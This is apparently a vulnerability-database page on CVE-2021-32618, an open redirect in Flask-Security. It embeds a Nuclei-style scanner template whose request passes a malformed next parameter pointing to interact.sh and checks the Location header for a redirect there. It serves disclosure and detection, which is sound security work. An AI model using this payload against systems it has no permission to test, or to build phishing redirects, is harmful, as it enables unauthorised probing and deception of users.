CVE-2021-32618: Python Flask-Security - Open Redirect

日期: 2025-08-01 | 影响软件: Flask-Security | POC: 已公开

漏洞描述

Python Flask-Security contains an open redirect vulnerability. Existing code validates that the URL specified in the next parameter is either relative or has the same network location as the requesting URL. Certain browsers accept and fill in the blanks of possibly incomplete or malformed URLs. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.

PoC代码[已公开]

id: CVE-2021-32618

info:
  name: Python Flask-Security - Open Redirect
  author: 0x_Akoko
  severity: medium
  description: Python Flask-Security contains an open redirect vulnerability. Existing code validates that the URL specified in the next parameter is either relative or has the same network location as the requesting URL. Certain browsers accept and fill in the blanks of possibly incomplete or malformed URLs. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can craft a malicious URL that redirects users to a malicious website, leading to potential phishing attacks or the exploitation of other vulnerabilities.
  remediation: |
    Upgrade to the latest version of Python Flask-Security library to fix the open redirect vulnerability.
  reference:
    - https://github.com/Flask-Middleware/flask-security/security/advisories/GHSA-6qmf-fj6m-686c
    - https://github.com/Flask-Middleware/flask-security/issues/486
    - https://nvd.nist.gov/vuln/detail/CVE-2021-32618
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-32618
    cwe-id: CWE-601
    epss-score: 0.17163
    epss-percentile: 0.94776
    cpe: cpe:2.3:a:flask-security_project:flask-security:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: flask-security_project
    product: flask-security
  tags: cve2021,cve,redirect,flask,flask-security_project

http:
  - method: GET
    path:
      - '{{BaseURL}}/login?next=\\\interact.sh'

    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/L403F0/1
# digest: 4a0a00473045022100f285e04429b3220568dd180b4c6fc1de459e1a87f41534db835e5252d1353ef2022033c8ff64c4db40f7387d88567e5ec8617deec6a3f6c04053db7e7b0a8f12ca1c:922c64590222798bb761d5b6d8e72950